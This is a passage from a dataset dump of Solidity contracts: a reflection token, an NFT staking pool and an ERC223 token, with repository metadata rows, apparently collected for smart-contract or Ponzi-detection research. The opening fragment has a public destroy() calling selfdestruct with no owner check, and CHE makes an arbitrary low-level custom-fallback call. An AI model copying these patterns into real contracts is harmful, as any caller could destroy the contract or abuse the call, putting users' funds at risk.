prices[tokenId] = Price(address(0), 0, 0, 0, false);
for (uint256 i = 0; i < arrayTokenIdSale.length; i++) {
if (arrayTokenIdSale[i] == tokenId) {
_burnArrayTokenIdSale(i);
}
}
}
function destroy() public {
selfdestruct(this);
}
}
| 197,068 | 11,158 |
03aead7e4f2c236622c58e2e64ba5df2ca423201b8983ffa0218534ae332f508
| 26,452 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/91/913ec9fb1eb05ec79f0ad1ae42c85fb66f3f5a60_SafeBOBOAI.sol
| 4,450 | 16,423 |
// SafeBOBO AI
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SafeBOBOAI is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'SafeBOBO AI';
string private _symbol = 'SafeBOBO';
uint8 private _decimals = 8;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 48,309 | 11,159 |
3df80629fdf57b979f9177d9b7a4e7bd1afc72ae6e740cb6ae9b4228319a6658
| 28,857 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x20bAa996AF4Eb5F9f10FCc879c11db1120D0a7a7/contract.sol
| 4,033 | 14,972 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes calldata data) external returns (bytes4);
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface ISpaceShip {
function getFuelUnit(uint256 tokenId) external view returns(uint256);
function getCoef(uint256 tokenId) external view returns(uint256);
function getType(uint256 tokenId) external view returns(uint8);
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
}
contract FlightPool is IERC721Receiver, Initializable, Context {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.UintSet;
bool public enabled;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier isEnabled() {
require(enabled, "This pool is not openned");
_;
}
modifier isDisabled() {
require(!enabled, "This pool is openned already");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getOwner() external view returns (address) {
return _owner;
}
struct ShipInfo {
uint8 targetType;
uint16 lengthInDays;
address owner;
uint256 from;
uint256 to;
uint256 start;
}
//fuel price BYG/(day*fuelunit)
uint256 public fuelPrice;
//token id => ShipInfo
mapping(uint256=>ShipInfo) public shipsInFlight;
//holder => staked tokens
mapping(address=>EnumerableSet.UintSet) stakedShipsOf;
ISpaceShip public spaceship;
IERC20 public quote;
event FlightStart(address staker, uint256 tokenId, uint256 fromId, uint256 toId, uint16 lengthInDays, uint8 targetType);
event FightEnd(address staker, uint256 tokenId, uint256 fromId, uint256 toId, uint16 lengthInDays, uint8 targetType, bool completed);
constructor(){}
function initialize(ISpaceShip _ship, IERC20 _quote) public initializer {
spaceship = _ship;
quote = _quote;
_owner=_msgSender();
}
function enablePool() external isDisabled onlyOwner {
enabled = true;
}
function disablePool() external isEnabled onlyOwner {
enabled = false;
}
function setFuelPrice(uint256 price) external onlyOwner {
fuelPrice = price;
}
function onERC721Received(address,
address staker,
uint256 id,
bytes calldata data) external override returns (bytes4) {
require(address(spaceship) == _msgSender(), "FlightPool: You can stake only Cargo spaceships.");
(uint256 fromId, uint256 toId, uint256 length, uint256 targetType) = getParams(data);
_stakeNft(id, staker, fromId, toId, uint16(length), uint8(targetType));
return this.onERC721Received.selector;
}
function _stakeNft(uint256 tokenId, address staker, uint256 fromId, uint256 toId, uint16 length, uint8 targetType) private isEnabled {
uint256 amount = getFuelPriceOfToken(tokenId, length);
if(amount>0){
require(quote.balanceOf(staker)>=amount, "FlightPool: Insufficient balance");
require(quote.transferFrom(staker, _owner, amount), "FlightPool: Insufficient allowance");
}
stakedShipsOf[staker].add(tokenId);
shipsInFlight[tokenId] = ShipInfo(targetType, length, staker, fromId, toId, block.timestamp);
emit FlightStart(staker, tokenId, fromId, toId, length, targetType);
}
function toUint256(bytes memory _bytes) private pure returns (uint256 value) {
assembly {
value := mload(add(_bytes, 0x20))
}
}
function getParams(bytes memory _bytes) private pure returns(uint256 fromWhere, uint256 toWhere, uint256 length, uint256 targetType) {
uint256 target = toUint256(_bytes);
fromWhere = target & 0xFFFFFFFFFFFFFFFF;
toWhere = (target & 0xFFFFFFFFFFFFFFFF0000000000000000)>>64;
length = (target & 0xFFFFFFFFFFFFFFFF00000000000000000000000000000000)>>128;
targetType= (target & 0xFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000)>>192;
}
function unStake(uint256 tokenId) external {
ShipInfo memory _ship = shipsInFlight[tokenId];
require(_ship.owner==_msgSender(), "FlightPool: not owner of this spaceship");
spaceship.safeTransferFrom(address(this), _msgSender(), tokenId);
stakedShipsOf[_msgSender()].remove(tokenId);
emit FightEnd(_msgSender(), tokenId, _ship.from, _ship.to, _ship.lengthInDays, _ship.targetType, flightStatus(tokenId));
delete shipsInFlight[tokenId];
}
function getStakedTokensOf(address owner) external view returns(uint256[] memory){
uint256[] memory tokenIds = new uint256[](stakedShipsOf[owner].length());
for(uint i=0; i<stakedShipsOf[owner].length(); i++){
tokenIds[i]=stakedShipsOf[owner].at(i);
}
return tokenIds;
}
function flightStatus(uint256 tokenId)
public
view
returns(bool)
{
if(shipsInFlight[tokenId].start!=0 &&
(block.timestamp).sub(shipsInFlight[tokenId].start)>=uint256((shipsInFlight[tokenId].lengthInDays)).mul(24*3600)){
return true;
}
else{
return false;
}
}
function getFuelPriceOfToken(uint256 _tokenId, uint16 _days) public view returns(uint256 priceInBYG) {
priceInBYG = (spaceship.getFuelUnit(_tokenId)).mul(_days).mul(fuelPrice);
}
}
| 251,748 | 11,160 |
d4f229090c8996b031b1946bcf4c3c74e23bf71e8d797d4243c58cf3ec45b8b4
| 19,149 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x376435eef01eb51730f2f4e8f9c425b6912fa575.sol
| 3,634 | 14,377 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract CHE is ERC223, Ownable {
using SafeMath for uint256;
//
// Definition of CryproCurrency
//
string public name = "Cryptoharbor exchange Ver.2.2020";
string public symbol = "CHE";
uint8 public decimals = 8;
uint256 public initialSupply = 350e8 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
//-----------------------------------------------------------------------------
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
constructor() public {
totalSupply = initialSupply;
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
emit FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
emit LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[msg.sender]
&& block.timestamp > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[msg.sender]
&& block.timestamp > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& block.timestamp > unlockUnixTime[msg.sender]
&& block.timestamp > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
